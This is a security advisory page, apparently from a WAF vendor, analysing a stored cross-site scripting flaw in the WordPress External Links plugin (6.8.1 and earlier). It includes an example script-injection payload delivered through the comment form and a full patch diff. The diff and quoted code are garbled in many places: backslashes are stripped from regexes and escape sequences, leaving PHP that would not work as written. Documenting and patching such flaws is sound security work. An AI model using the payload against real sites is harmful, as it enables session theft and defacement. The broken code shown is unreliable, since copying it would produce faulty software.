Published : December 3, 2026

CVE-2026-136598: External Links <= 6.8.1 Unauthenticated Stored Cross-Site Scripting via Comment Link Title Attribute PoC, Patch Analysis & Rule

Severity High (CVSS 7.2)
CWE 79
Vulnerable Version 6.8.1
Patched Version 6.8.2
Disclosed November 30, 2026

Free WordPress WAF

Protect your site at the edge

Atomic Edge blocks exploit traffic, bots, and bad requests before they reach WordPress. Create a free account, then point DNS when you are ready.

Get Protected Free

Analysis Overview

Atomic Edge analysis of CVE-2026-136598: The External Links WordPress plugin (versions <= 6.8.1) contains an unauthenticated stored cross-site scripting (XSS) vulnerability. The flaw resides in the plugin's autolink functionality, specifically in the sem_autolink_uri::filter() method. An attacker can inject malicious script into the comment link title attribute by submitting a crafted comment that includes a specially crafted URL. The CVSS score is 7.2 (High).

Root Cause: The vulnerability is rooted in insufficient sanitization and escaping of user-supplied content when the plugin auto-converts plain text URLs into clickable links. In sem-autolink-uri.php, the filter() function processes comment text and uses preg_replace_callback to replace URLs with anchor tags. The url_callback() function constructs the HTML link using the original URL without proper escaping: '‘ . $url . ‘‘. Although $href is passed through esc_url(), the link text $url is not escaped. An attacker can supply a URL containing HTML entities or JavaScript, which will be rendered as HTML when the comment is approved and displayed. The patch introduces sem_external_links_html::scan() to tokenize HTML and correctly identifies text segments, then applies esc_html() to the URL in url_callback(), preventing script execution.

Exploitation: An unauthenticated attacker submits a comment to a WordPress post containing a malicious URL, for example “http://example.com/?”>alert(1)”. The plugin’s autolink feature processes the comment text and converts the URL into a link. Because the URL is not escaped in the link text, the script tag is injected into the page’s HTML. When an administrator approves the comment (default behavior for first-time commenters) and any user visits the post, the script executes. The attack requires no authentication and can be delivered via the standard WordPress comment form (wp-comments-post.php) with the ‘comment’ parameter.

Patch Analysis: The patch (v6.8.2) replaces the regex-based escaping and unescaping with a robust HTML tokenizer (sem_external_links_html::scan()). The filter() function now processes only text segments outside of tags and attributes, and the url_callback() method uses esc_html() to escape the URL before embedding it in the anchor tag. This ensures that any HTML entities or tags in the URL are escaped, preventing script injection. Additionally, the patch adds ABSPATH checks and improves general input sanitization in other files, but the core fix for this CVE is the escaping change in url_callback().

Impact: Successful exploitation allows an attacker to execute arbitrary JavaScript in the context of the victim’s browser when they view the infected page. This can lead to session hijacking, defacement, redirection to malicious sites, or theft of sensitive information. Since the attack is stored and unauthenticated, it is particularly dangerous for high-traffic WordPress sites with comment sections.

Differential between vulnerable and patched code

Below is a differential between the unpatched vulnerable code and the patched update, for reference.

Code Diff
--- a/sem-external-links/external-links-anchor-utils.php
+++ b/sem-external-links/external-links-anchor-utils.php
@@ -7,6 +7,10 @@
  * Forked from Anchor-Utils
  */

+if ( ! defined( 'ABSPATH' ) ) {
+	exit;
+}
+
 if ( @ini_get('pcre.backtrack_limit') <= 1000000 )
 	@ini_set('pcre.backtrack_limit', 1000000);
 if ( @ini_get('pcre.recursion_limit') <= 250000 )
--- a/sem-external-links/sem-autolink-uri.php
+++ b/sem-external-links/sem-autolink-uri.php
@@ -15,6 +15,10 @@
 This software is copyright Denis de Bernardy & Mike Koepke, and is distributed under the terms of the MIT and GPLv2 licenses.
 **/

+if ( ! defined( 'ABSPATH' ) ) {
+	exit;
+}
+

 /**
  * autolink_uri
@@ -100,16 +104,63 @@

 	function filter($text) {

-		if ( empty( $text ) )
+		if ( empty( $text ) || !is_string( $text ) )
 			return $text;

-		global $escape_autolink_uri;
-
-		$escape_autolink_uri = array();
-
-		$text = sem_autolink_uri::escape($text);
-
-		$text = preg_replace_callback("/
+		// Urls are looked for only in text between tags, never inside a tag or an
+		// attribute value, and not in text inside a, script, style, object, code, pre or
+		// textarea, before </head>, or inside [smart link] brackets.
+		$segments = sem_external_links_html::scan( $text );
+		$count = count( $segments );
+		$skip = array( 'a' => true, 'script' => true, 'style' => true, 'object' => true,
+			'code' => true, 'pre' => true, 'textarea' => true );
+
+		$first = 0;
+		for ( $i = 0; $i < $count; $i++ ) {
+			if ( 'end' === $segments[$i]['type'] && 'head' === $segments[$i]['name'] ) {
+				$first = $i + 1;
+				break;
+			}
+		}
+
+		$out = '';
+		$depth = 0;
+		for ( $i = 0; $i < $count; $i++ ) {
+			$segment = $segments[$i];
+			$html = substr( $text, $segment['offset'], $segment['length'] );
+
+			if ( ( 'start' === $segment['type'] || 'end' === $segment['type'] ) && isset( $skip[$segment['name']] ) ) {
+				if ( 'start' === $segment['type'] )
+					$depth++;
+				elseif ( $depth > 0 )
+					$depth--;
+			} elseif ( 'text' === $segment['type'] && 0 === $depth && $i >= $first ) {
+				$html = $this->link_urls( $html );
+			}
+
+			$out .= $html;
+		}
+
+		return $out;
+	} # filter()
+
+
+	/**
+	 * link_urls()
+	 *
+	 * Wraps the urls in one text segment with anchors, leaving [smart link] brackets alone.
+	 *
+	 * @param string $text
+	 * @return string $text
+	 **/
+
+	function link_urls($text) {
+		$parts = preg_split( '/([.+?])/', $text, -1, PREG_SPLIT_DELIM_CAPTURE );
+		if ( false === $parts )
+			return $text;
+
+		for ( $k = 0; $k < count( $parts ); $k += 2 ) {
+			$linked = preg_replace_callback("/
 			((?<!["'])                                     # don't look inside quotes
             (b
             (						    # protocol or www.
@@ -131,12 +182,13 @@
 			)?
             )
             (?!["']))
-			/ix", array($this, 'url_callback'), $text);
+			/ix", array($this, 'url_callback'), $parts[$k]);
+			if ( null !== $linked )
+				$parts[$k] = $linked;
+		}

-		$text = sem_autolink_uri::unescape($text);
-
-		return $text;
-	} # filter()
+		return implode( '', $parts );
+	} # link_urls()


 	/**
@@ -155,88 +207,9 @@

 		$href = esc_url($href);

-		return '<a href="' . $href . '">' . $url . '</a>';
+		return '<a href="' . $href . '">' . esc_html($url) . '</a>';
 	} # url_callback()

-	/**
-	 * escape()
-	 *
-	 * @param string $text
-	 * @return string $text
-	 **/
-
-	function escape($text) {
-		global $escape_autolink_uri;
-
-		if ( !isset($escape_autolink_uri) )
-			$escape_autolink_uri = array();
-
-		foreach ( array(
-			'head' => "/
-				.*?
-				<s*/s*heads*>
-				/isx",
-			'blocks' => "/
-				<s*(script|style|object|code|pre|textarea)(?:s.*?)?>
-				.*?
-				<s*/s*\1s*>
-				/isx",
-			'smart_links' => "/
-				[.+?]
-				/x",
-			'meta' => "/
-				<meta .*?>
-				/isx",
-			'anchors' => "/
-				<a .*?>.*?</a>
-				/isx",
-			'tags' => "/
-				<[^<>]+?(?:src|href|codebase|archive|usemap|data|data-.*|itemtype|xmlns|value|action|cite|background|placeholder|onclick)=[^<>]+?>
-				/ix",
-			) as $regex ) {
-			$t = preg_replace_callback($regex, array($this, 'escape_callback'), $text);
-			if ( $t !== NULL )
-				$text = $t;
-		}
-
-		return $text;
-	} # escape()
-
-
-	/**
-	 * escape_callback()
-	 *
-	 * @param array $match
-	 * @return string $tag_id
-	 **/
-
-	function escape_callback($match) {
-		global $escape_autolink_uri;
-
-		$tag_id = "----escape_sem_autolink_uri:" . md5($match[0]) . "----";
-		$escape_autolink_uri[$tag_id] = $match[0];
-
-		return $tag_id;
-	} # escape_callback()
-
-
-	/**
-	 * unescape()
-	 *
-	 * @param string $text
-	 * @return string $text
-	 **/
-
-	function unescape($text) {
-		global $escape_autolink_uri;
-
-		if ( !$escape_autolink_uri )
-			return $text;
-
-		$unescape = array_reverse($escape_autolink_uri);
-
-		return str_replace(array_keys($unescape), array_values($unescape), $text);
-	} # unescape()
 } # sem_autolink_uri

 $sem_autolink_uri = sem_autolink_uri::get_instance();
 No newline at end of file
--- a/sem-external-links/sem-external-links-admin.php
+++ b/sem-external-links/sem-external-links-admin.php
@@ -5,6 +5,10 @@
  * @package External Links
  **/

+if ( ! defined( 'ABSPATH' ) ) {
+	exit;
+}
+
 class external_links_admin {
 	/**
 	 * Plugin instance.
@@ -74,7 +78,7 @@
 	 **/

 	function save_options() {
-		if ( !$_POST || !current_user_can('manage_options') )
+		if ( empty( $_POST ) || !current_user_can('manage_options') )
 			return;

 		check_admin_referer('sem_external_links');
@@ -83,7 +87,9 @@
 			          'subdomains_local', 'exclude_code_blocks') as $var )
 			$$var = isset($_POST[$var]);

-		$exclude_domains = stripslashes($_POST['exclude_domains']);
+		$exclude_domains = ( isset( $_POST['exclude_domains'] ) && is_string( $_POST['exclude_domains'] ) )
+			? wp_kses( stripslashes_deep( $_POST['exclude_domains'] ), array() )
+			: '';
 		$domains = preg_split("/[s,]+/", $exclude_domains);
 		$exclude_domains = array();

@@ -109,7 +115,7 @@
 		echo "<div class="updated fade">n"
 			. "<p>"
 				. "<strong>"
-				. __('Settings saved.', 'sem-external-links')
+				. esc_html__('Settings saved.', 'sem-external-links')
 				. "</strong>"
 			. "</p>n"
 			. "</div>n";
@@ -133,18 +139,18 @@
 		if ( $options['nofollow'] && ( function_exists('strip_nofollow') || class_exists('sem_dofollow') ) ) {
 			echo "<div class="error">n"
 				. "<p>"
-					. __('Note: Your rel=nofollow preferences is being ignored because the dofollow plugin is enabled on your site.', 'sem-external-links')
+					. esc_html__('Note: Your rel=nofollow preferences is being ignored because the dofollow plugin is enabled on your site.', 'sem-external-links')
 				. "</p>n"
 				. "</div>n";
 		}

-		echo '<h2>' . __('External Links Settings', 'sem-external-links') . '</h2>' . "n";
+		echo '<h2>' . esc_html__('External Links Settings', 'sem-external-links') . '</h2>' . "n";

 		echo '<table class="form-table">' . "n";

 		echo '<tr>' . "n"
 			. '<th scope="row">'
-			. __('Apply Globally', 'sem-external-links')
+			. esc_html__('Apply Globally', 'sem-external-links')
 			. '</th>' . "n"
 			. '<td>'
 			. '<label>'
@@ -152,14 +158,14 @@
 				. checked($options['global'], true, false)
 				. ' />'
 			. ' '
-			. __('Apply these settings to all outbound links on the site except those in scripts, styles and the html head section.', 'sem-external-links')
+			. esc_html__('Apply these settings to all outbound links on the site except those in scripts, styles and the html head section.', 'sem-external-links')
 			. '</label>'
 			. '</td>' . "n"
 			. '</tr>' . "n";

 		echo '<tr>' . "n"
 			. '<th scope="row">'
-			. __('Apply to Text Widgets', 'sem-external-links')
+			. esc_html__('Apply to Text Widgets', 'sem-external-links')
 			. '</th>' . "n"
 			. '<td>'
 			. '<label>'
@@ -167,14 +173,14 @@
 				. checked($options['text_widgets'], true, false)
 				. ' />'
 			. ' '
-			. __('Apply these settings to any text widgets in addition to post, page and comments content.', 'sem-external-links')
+			. esc_html__('Apply these settings to any text widgets in addition to post, page and comments content.', 'sem-external-links')
 			. '</label>'
 			. '</td>' . "n"
 			. '</tr>' . "n";

 		echo '<tr>' . "n"
 			. '<th scope="row">'
-			. __('Treat Subdomains as Local', 'sem-external-links')
+			. esc_html__('Treat Subdomains as Local', 'sem-external-links')
 			. '</th>' . "n"
 			. '<td>'
 			. '<label>'
@@ -182,16 +188,16 @@
 				. checked($options['subdomains_local'], true, false)
 				. ' />'
 			. ' '
-			. __('Treat any subdomains for this site as a local link.', 'sem-external-links')
+			. esc_html__('Treat any subdomains for this site as a local link.', 'sem-external-links')
 			. '</label>'
 			. '<br />' . "n"
-			. '<i>' . __('Example: If your site is at domain.com and you also have store.domain.com, any link to store.domain.com will be treated as local.', 'sem-external-links') . '<i>'
+			. '<i>' . esc_html__('Example: If your site is at domain.com and you also have store.domain.com, any link to store.domain.com will be treated as local.', 'sem-external-links') . '<i>'
 			. '</td>' . "n"
 			. '</tr>' . "n";

 		echo '<tr>' . "n"
 			. '<th scope="row">'
-			. __('Auto Convert Text Urls', 'sem-external-links')
+			. esc_html__('Auto Convert Text Urls', 'sem-external-links')
 			. '</th>' . "n"
 			. '<td>'
 			. '<label>'
@@ -199,18 +205,18 @@
 				. checked($options['autolinks'], true, false)
 				. ' />'
 			. ' '
-			. __('Automatically converts text urls into clickable urls.', 'sem-external-links')
+			. esc_html__('Automatically converts text urls into clickable urls.', 'sem-external-links')
 			. '</label>'
 			. '<br />' . "n"
-			. '<i>' . __('Note: If this option is enabled then if www.example.com is found in your text, it will be converted to an html <a> link."', 'sem-external-links')
+			. '<i>' . esc_html__('Note: If this option is enabled then if www.example.com is found in your text, it will be converted to an html <a> link."', 'sem-external-links')
 			. '<br />' . "n"
-			. __('This conversion will occur first so external link treatment for nofollow, icon and target will be applied to this auto links.', 'sem-external-links') . '</i>'
+			. esc_html__('This conversion will occur first so external link treatment for nofollow, icon and target will be applied to this auto links.', 'sem-external-links') . '</i>'
 			. '</td>' . "n"
 			. '</tr>' . "n";

 		echo '<tr>' . "n"
 			. '<th scope="row">'
-			. __('Add No Follow', 'sem-sem-external-links')
+			. esc_html__('Add No Follow', 'sem-external-links')
 			. '</th>' . "n"
 			. '<td>'
 			. '<label>'
@@ -218,16 +224,16 @@
 				. checked($options['nofollow'], true, false)
 				. ' />'
 			. ' '
-			. __('Add a rel="nofollow" attribute to outbound links.', 'sem-external-links')
+			. esc_html__('Add a rel="nofollow" attribute to outbound links.', 'sem-external-links')
 			. '</label>'
 			. '<br />' . "n"
-			. '<i>' . __('Note: You can override this behavior by adding the attribute rel="follow" to individual links.', 'sem-external-links')
+			. '<i>' . esc_html__('Note: You can override this behavior by adding the attribute rel="follow" to individual links.', 'sem-external-links')
 			. '</td>' . "n"
 			. '</tr>' . "n";

 		echo '<tr>' . "n"
 			. '<th scope="row">'
-			. __('Add Icons', 'sem-external-links')
+			. esc_html__('Add Icons', 'sem-external-links')
 			. '</th>' . "n"
 			. '<td>'
 			. '<label>'
@@ -235,16 +241,16 @@
 				. checked($options['icon'], true, false)
 				. ' />'
 			. ' '
-			. __('Mark outbound links with an icon.', 'sem-external-links')
+			. esc_html__('Mark outbound links with an icon.', 'sem-external-links')
 			. '</label>'
 			. '<br />' . "n"
-			. '<i>' .__('Note: You can override this behavior by adding a class="no_icon" or "noicon" to individual links.', 'sem-external-links') . '</i>'
+			. '<i>' .esc_html__('Note: You can override this behavior by adding a class="no_icon" or "noicon" to individual links.', 'sem-external-links') . '</i>'
 			. '</td>' . "n"
 			. '</tr>' . "n";

 		echo '<tr>' . "n"
 			. '<th scope="row">'
-			. __('Open in New Windows', 'sem-external-links')
+			. esc_html__('Open in New Windows', 'sem-external-links')
 			. '</th>' . "n"
 			. '<td>'
 			. '<label>'
@@ -252,16 +258,16 @@
 				. checked($options['target'], true, false)
 				. ' />'
 			. ' '
-			. __('Open outbound links in new windows.', 'sem-external-links')
+			. esc_html__('Open outbound links in new windows.', 'sem-external-links')
 			. '</label>'
 			. '<br />' . "n"
-			. '<i>' . __('Note: Some usability experts discourage this, claiming that <a href="http://www.useit.com/alertbox/9605.html">this can damage your visitors' trust</a> towards your site. Others highlight that computer-illiterate users do not always know how to use the back button, and encourage the practice for that reason.', 'sem-external-links') . '</i>'
+			. '<i>' . wp_kses( __('Note: Some usability experts discourage this, claiming that <a href="http://www.useit.com/alertbox/9605.html">this can damage your visitors' trust</a> towards your site. Others highlight that computer-illiterate users do not always know how to use the back button, and encourage the practice for that reason.', 'sem-external-links'), array( 'a' => array( 'href' => array() ) ) ) . '</i>'
 			. '</td>' . "n"
 			. '</tr>' . "n";

 		echo '<tr>' . "n"
 			. '<th scope="row">'
-			. __('Exclude HTML Code Blocks', 'sem-external-links')
+			. esc_html__('Exclude HTML Code Blocks', 'sem-external-links')
 			. '</th>' . "n"
 			. '<td>'
 			. '<label>'
@@ -269,26 +275,26 @@
 				. checked($options['exclude_code_blocks'], true, false)
 				. ' />'
 			. ' '
-			. __('Do not process links in html code blocks.', 'sem-external-links')
+			. esc_html__('Do not process links in html code blocks.', 'sem-external-links')
 			. '</label>'
 			. '<br />' . "n"
-			. '<i>' . __('Links found inside either &ltcode&gt or &ltpre&gt html tags will be ignored.', 'sem-external-links') . '</i>'
+			. '<i>' . esc_html__('Links found inside either <code> or <pre> html tags will be ignored.', 'sem-external-links') . '</i>'
 			. '</td>' . "n"
 			. '</tr>' . "n";

 		echo '<tr>' . "n"
 			. '<th scope="row">'
-			. __('Domains to Exclude', 'sem-external-links')
+			. esc_html__('Domains to Exclude', 'sem-external-links')
 			. '</th>' . "n"
 			. '<td>'
 			. '<label>'
-			. __('External site domains that should be excluded from processing:', 'sem-external-links')
+			. esc_html__('External site domains that should be excluded from processing:', 'sem-external-links')
 			. '<textarea name="exclude_domains" cols="58" rows="4" class="widefat">'
 			. esc_html($options['exclude_domains'])
 			. '</textarea>' . "n"
-			. __('Domains and subdomains should be separated by a comma, space or carriage return.  http://, https://, www. should not be included and will be stripped off.', 'sem-external-links')
+			. esc_html__('Domains and subdomains should be separated by a comma, space or carriage return.  http://, https://, www. should not be included and will be stripped off.', 'sem-external-links')
 			. '</label>  '
-			. '<i>' .__('Example: domain.com, domain.net, sub.domain.com, somesite.com, external.org.', 'sem-external-links') . '</i>'
+			. '<i>' .esc_html__('Example: domain.com, domain.net, sub.domain.com, somesite.com, external.org.', 'sem-external-links') . '</i>'
 			. '<br />' . "n"
 			. '</td>'
 			. '</tr>' . "n";
@@ -297,7 +303,7 @@

 		echo '<p class="submit">'
 			. '<input type="submit"'
-				. ' value="' . esc_attr(__('Save Changes', 'sem-external-links')) . '"'
+				. ' value="' . esc_attr__('Save Changes', 'sem-external-links') . '"'
 				. ' />'
 			. '</p>' . "n";

--- a/sem-external-links/sem-external-links-html.php
+++ b/sem-external-links/sem-external-links-html.php
@@ -0,0 +1,385 @@
+<?php
+/**
+ * sem_external_links_html
+ *
+ * A small HTML tokenizer shared by External Links and its autolink module.
+ *
+ * It splits markup into text, start tags, end tags and everything else (comments,
+ * doctypes, processing instructions and the contents of raw text elements such as
+ * script and style), following the HTML5 tokenizer's tag and attribute states, so that
+ * an attribute value is never mistaken for markup and markup is never mistaken for an
+ * attribute value. Callers edit only start tags it returns and only text segments it
+ * returns, which is what keeps their output well formed.
+ *
+ * Written for PHP 5.2 and WordPress 2.8: static methods only, and esc_attr() is the
+ * only WordPress function it calls.
+ *
+ * @package External Links
+ **/
+
+class sem_external_links_html {
+
+	/**
+	 * scan()
+	 *
+	 * Splits $html into consecutive segments. Concatenating the bytes of every segment, in
+	 * order, gives $html back. Each segment is an array:
+	 *
+	 *   'type'   => 'text', 'start', 'end' or 'other'
+	 *   'offset' => byte offset of the segment in $html
+	 *   'length' => byte length of the segment
+	 *   'name'   => lowercase tag name for 'start' and 'end', '' otherwise
+	 *
+	 * and, for 'start' segments only:
+	 *
+	 *   'attrs'    => list of attributes in source order, first occurrence of each name only
+	 *                 (as HTML5 does). Each is array( 'name' => lowercase name,
+	 *                 'value' => value exactly as written (quotes removed, entities not
+	 *                 decoded, '' when there is no value), 'quote' => '"', "'" or '',
+	 *                 'offset' => byte offset of the attribute in the tag,
+	 *                 'length' => byte length of the whole name=value token )
+	 *   'close_at' => byte offset in the tag of its closing '>', or of the '/' of a
+	 *                 closing '/>', where new attributes can be inserted
+	 *
+	 * Text segments are maximal: a '<' that does not start a tag stays in the text. Input
+	 * the tokenizer cannot finish (an unterminated tag, quote or comment) becomes one
+	 * 'other' segment running to the end, so callers never edit it.
+	 *
+	 * @param string $html
+	 * @return array $segments
+	 **/
+
+	static function scan( $html ) {
+		$segments = array();
+		$len = strlen( $html );
+		$pos = 0;
+		$text_start = 0;
+
+		while ( $pos < $len ) {
+			$lt = strpos( $html, '<', $pos );
+			if ( false === $lt )
+				break;
+
+			$token = sem_external_links_html::token_at( $html, $lt, $len );
+			if ( null === $token ) {
+				$pos = $lt + 1;
+				continue;
+			}
+
+			if ( $lt > $text_start )
+				$segments[] = sem_external_links_html::segment( 'text', $text_start, $lt - $text_start, '' );
+			$segments[] = $token;
+			$pos = $token['offset'] + $token['length'];
+			$text_start = $pos;
+
+			if ( 'start' !== $token['type'] )
+				continue;
+
+			if ( 'plaintext' === $token['name'] ) {
+				if ( $pos < $len )
+					$segments[] = sem_external_links_html::segment( 'other', $pos, $len - $pos, '' );
+				return $segments;
+			}
+
+			if ( !in_array( $token['name'], array( 'script', 'style', 'textarea', 'title', 'xmp', 'iframe', 'noembed', 'noframes', 'noscript' ) ) )
+				continue;
+
+			// raw text element: everything up to its own end tag is one 'other' segment
+			$end = sem_external_links_html::find_end_tag( $html, $token['name'], $pos, $len );
+			if ( false === $end ) {
+				if ( $pos < $len )
+					$segments[] = sem_external_links_html::segment( 'other', $pos, $len - $pos, '' );
+				return $segments;
+			}
+			if ( $end > $pos )
+				$segments[] = sem_external_links_html::segment( 'other', $pos, $end - $pos, '' );
+			$pos = $end;
+			$text_start = $end;
+		}
+
+		if ( $text_start < $len )
+			$segments[] = sem_external_links_html::segment( 'text', $text_start, $len - $text_start, '' );
+
+		return $segments;
+	} # scan()
+
+
+	/**
+	 * rewrite_start_tag()
+	 *
+	 * Returns $tag with the attributes in $changes set. An attribute the tag already has
+	 * is rewritten in place as name="value"; a missing one is added before the tag's
+	 * closing '>' (or '/>'), in the order of $changes. Values are escaped with esc_attr(),
+	 * which leaves existing character references alone.
+	 *
+	 * @param string $tag the start tag's bytes
+	 * @param array $attrs the 'attrs' of its scan() segment
+	 * @param int $close_at the 'close_at' of its scan() segment
+	 * @param array $changes attribute name => new value
+	 * @return string $tag
+	 **/
+
+	static function rewrite_start_tag( $tag, $attrs, $close_at, $changes ) {
+		$present = array();
+		foreach ( $attrs as $attr )
+			$present[ $attr['name'] ] = true;
+
+		$insert = '';
+		foreach ( $changes as $name => $value ) {
+			if ( !isset( $present[ $name ] ) )
+				$insert .= ' ' . $name . '="' . esc_attr( $value ) . '"';
+		}
+
+		// close_at is after every attribute, so inserting there first leaves their offsets valid
+		if ( '' !== $insert )
+			$tag = substr_replace( $tag, $insert, $close_at, 0 );
+
+		// rewrite from the last attribute to the first so earlier offsets stay valid
+		for ( $i = count( $attrs ) - 1; $i >= 0; $i-- ) {
+			$name = $attrs[ $i ]['name'];
+			if ( isset( $changes[ $name ] ) )
+				$tag = substr_replace( $tag, $name . '="' . esc_attr( $changes[ $name ] ) . '"', $attrs[ $i ]['offset'], $attrs[ $i ]['length'] );
+		}
+
+		return $tag;
+	} # rewrite_start_tag()
+
+
+	/**
+	 * segment()
+	 *
+	 * @param string $type
+	 * @param int $offset
+	 * @param int $length
+	 * @param string $name
+	 * @return array $segment
+	 **/
+
+	static function segment( $type, $offset, $length, $name ) {
+		return array(
+			'type' => $type,
+			'offset' => $offset,
+			'length' => $length,
+			'name' => $name,
+			);
+	} # segment()
+
+
+	/**
+	 * token_at()
+	 *
+	 * Reads the token that starts with the '<' at $lt, or returns null when that '<' is
+	 * plain text (as HTML5 treats '< ', '<1', '<=' and a '<' at the very end).
+	 *
+	 * @param string $html
+	 * @param int $lt
+	 * @param int $len
+	 * @return array|null $segment
+	 **/
+
+	static function token_at( $html, $lt, $len ) {
+		if ( $lt + 1 >= $len )
+			return null;
+
+		$c = $html[ $lt + 1 ];
+
+		if ( sem_external_links_html::is_letter( $c ) )
+			return sem_external_links_html::read_tag( $html, $lt, $len, 'start' );
+
+		if ( '/' === $c ) {
+			if ( $lt + 2 >= $len )
+				return null;
+			if ( sem_external_links_html::is_letter( $html[ $lt + 2 ] ) )
+				return sem_external_links_html::read_tag( $html, $lt, $len, 'end' );
+			// '</>' is dropped by browsers, anything else is a bogus comment up to '>'
+			return sem_external_links_html::read_until( $html, $lt, $len, '>', $lt + 2 );
+		}
+
+		if ( '!' === $c ) {
+			if ( '<!--' === substr( $html, $lt, 4 ) ) {
+				// '<!-->' and '<!--->' are complete (empty) comments in HTML5
+				if ( '>' === substr( $html, $lt + 4, 1 ) )
+					return sem_external_links_html::segment( 'other', $lt, 5, '' );
+				if ( '->' === substr( $html, $lt + 4, 2 ) )
+					return sem_external_links_html::segment( 'other', $lt, 6, '' );
+				$end = strpos( $html, '-->', $lt + 4 );
+				$bang = strpos( $html, '--!>', $lt + 4 );
+				if ( false !== $bang && ( false === $end || $bang < $end ) )
+					return sem_external_links_html::segment( 'other', $lt, $bang + 4 - $lt, '' );
+				if ( false !== $end )
+					return sem_external_links_html::segment( 'other', $lt, $end + 3 - $lt, '' );
+				return sem_external_links_html::segment( 'other', $lt, $len - $lt, '' );
+			}
+			// doctype, CDATA outside foreign content and other '<!' markup: up to '>'
+			return sem_external_links_html::read_until( $html, $lt, $len, '>', $lt + 2 );
+		}
+
+		if ( '?' === $c )
+			return sem_external_links_html::read_until( $html, $lt, $len, '>', $lt + 2 );
+
+		return null;
+	} # token_at()
+
+
+	/**
+	 * read_until()
+	 *
+	 * An 'other' segment from $lt through the first $char at or after $from, or to the end
+	 * when there is none.
+	 *
+	 * @param string $html
+	 * @param int $lt
+	 * @param int $len
+	 * @param string $char
+	 * @param int $from
+	 * @return array $segment
+	 **/
+
+	static function read_until( $html, $lt, $len, $char, $from ) {
+		$end = strpos( $html, $char, $from );
+		if ( false === $end )
+			return sem_external_links_html::segment( 'other', $lt, $len - $lt, '' );
+		return sem_external_links_html::segment( 'other', $lt, $end + 1 - $lt, '' );
+	} # read_until()
+
+
+	/**
+	 * read_tag()
+	 *
+	 * Reads a start or end tag beginning at $lt with the HTML5 tag name, attribute name and
+	 * attribute value states. An end tag's attributes are read the same way (so a '>' inside
+	 * their quotes does not end it) and then dropped, as HTML5 does.
+	 *
+	 * @param string $html
+	 * @param int $lt
+	 * @param int $len
+	 * @param string $type 'start' or 'end'
+	 * @return array $segment
+	 **/
+
+	static function read_tag( $html, $lt, $len, $type ) {
+		$space = " tnrf";
+		$p = ( 'end' === $type ) ? $lt + 2 : $lt + 1;
+
+		$name_len = strcspn( $html, $space . '/>', $p );
+		$name = strtolower( substr( $html, $p, $name_len ) );
+		$p += $name_len;
+
+		$attrs = array();
+		$seen = array();
+
+		while ( true ) {
+			// before attribute name: skip spaces and stray '/'
+			$p += strspn( $html, $space . '/', $p );
+			if ( $p >= $len )
+				return sem_external_links_html::segment( 'other', $lt, $len - $lt, '' );
+
+			if ( '>' === $html[ $p ] )
+				break;
+
+			// attribute name; a leading '=' belongs to the name in HTML5
+			$attr_start = $p;
+			$attr_name_len = 1 + strcspn( $html, $space . '/>=', $p + 1 );
+			$attr_name = strtolower( substr( $html, $p, $attr_name_len ) );
+			$p += $attr_name_len;
+
+			// after attribute name
+			$p += strspn( $html, $space, $p );
+			if ( $p >= $len )
+				return sem_external_links_html::segment( 'other', $lt, $len - $lt, '' );
+
+			$value = '';
+			$quote = '';
+			if ( '=' === $html[ $p ] ) {
+				$p++;
+				$p += strspn( $html, $space, $p );
+				if ( $p >= $len )
+					return sem_external_links_html::segment( 'other', $lt, $len - $lt, '' );
+
+				$c = $html[ $p ];
+				if ( '"' === $c || "'" === $c ) {
+					$close = strpos( $html, $c, $p + 1 );
+					if ( false === $close )
+						return sem_external_links_html::segment( 'other', $lt, $len - $lt, '' );
+					$quote = $c;
+					$value = substr( $html, $p + 1, $close - $p - 1 );
+					$p = $close + 1;
+				} elseif ( '>' !== $c ) {
+					$value_len = strcspn( $html, $space . '>', $p );
+					$value = substr( $html, $p, $value_len );
+					$p += $value_len;
+				}
+				$attr_len = $p - $attr_start;
+			} else {
+				// no value: the token is the name alone, even if spaces follow it
+				$attr_len = $attr_name_len;
+			}
+
+			if ( !isset( $seen[ $attr_name ] ) ) {
+				$seen[ $attr_name ] = true;
+				$attrs[] = array(
+					'name' => $attr_name,
+					'value' => $value,
+					'quote' => $quote,
+					'offset' => $attr_start - $lt,
+					'length' => $attr_len,
+					);
+			}
+		}
+
+		// $p is at the closing '>'
+		$segment = sem_external_links_html::segment( $type, $lt, $p + 1 - $lt, $name );
+		if ( 'start' === $type ) {
+			$close_at = $p - $lt;
+			// a '/' right before '>' that is not the end of an unquoted value marks '/>'
+			if ( '/' === $html[ $p - 1 ] ) {
+				$last = count( $attrs ) ? $attrs[ count( $attrs ) - 1 ] : null;
+				if ( null === $last || '' !== $last['quote'] || '' === $last['value'] || $last['offset'] + $last['length'] < $close_at )
+					$close_at--;
+			}
+			$segment['attrs'] = $attrs;
+			$segment['close_at'] = $close_at;
+		}
+
+		return $segment;
+	} # read_tag()
+
+
+	/**
+	 * find_end_tag()
+	 *
+	 * Offset of the end tag that closes raw text element $name, searching from $from, or
+	 * false. Like HTML5, it needs '</', the name in any case, then a space, '/' or '>'.
+	 *
+	 * @param string $html
+	 * @param string $name
+	 * @param int $from
+	 * @param int $len
+	 * @return int|false $offset
+	 **/
+
+	static function find_end_tag( $html, $name, $from, $len ) {
+		$needle = '</' . $name;
+		$n = strlen( $needle );
+		while ( false !== ( $at = stripos( $html, $needle, $from ) ) ) {
+			if ( $at + $n >= $len )
+				return false;
+			if ( false !== strpos( " tnrf/>", $html[ $at + $n ] ) )
+				return $at;
+			$from = $at + 1;
+		}
+		return false;
+	} # find_end_tag()
+
+
+	/**
+	 * is_letter()
+	 *
+	 * @param string $c one byte
+	 * @return bool
+	 **/
+
+	static function is_letter( $c ) {
+		return ( $c >= 'a' && $c <= 'z' ) || ( $c >= 'A' && $c <= 'Z' );
+	} # is_letter()
+} # sem_external_links_html
--- a/sem-external-links/sem-external-links-info.php
+++ b/sem-external-links/sem-external-links-info.php
@@ -1,4 +1,8 @@
 <?php
+
+if ( ! defined( 'ABSPATH' ) ) {
+	exit;
+}
 __('External Links', 'sem-external-links');
 __('Marks outbound links as such, with various effects that are configurable under <a href="options-general.php?page=external-links">Settings / External Links</a>.', 'sem-external-links');
 ?>
 No newline at end of file
--- a/sem-external-links/sem-external-links.php
+++ b/sem-external-links/sem-external-links.php
@@ -1,14 +1,13 @@
 <?php
 /*
 Plugin Name: External Links
-Plugin URI: http://www.semiologic.com/software/external-links/
 Description: Marks outbound links as such, with various effects that are configurable under <a href="options-general.php?page=external-links">Settings / External Links</a>.
-Version: 6.8.1
+Version: 6.8.2
 Author: Denis de Bernardy & Mike Koepke
-Author URI: https://www.semiologic.com
 Text Domain: sem-external-links
 Domain Path: /lang
-License: Dual licensed under the MIT and GPLv2 licenses
+License: GPLv2 or later
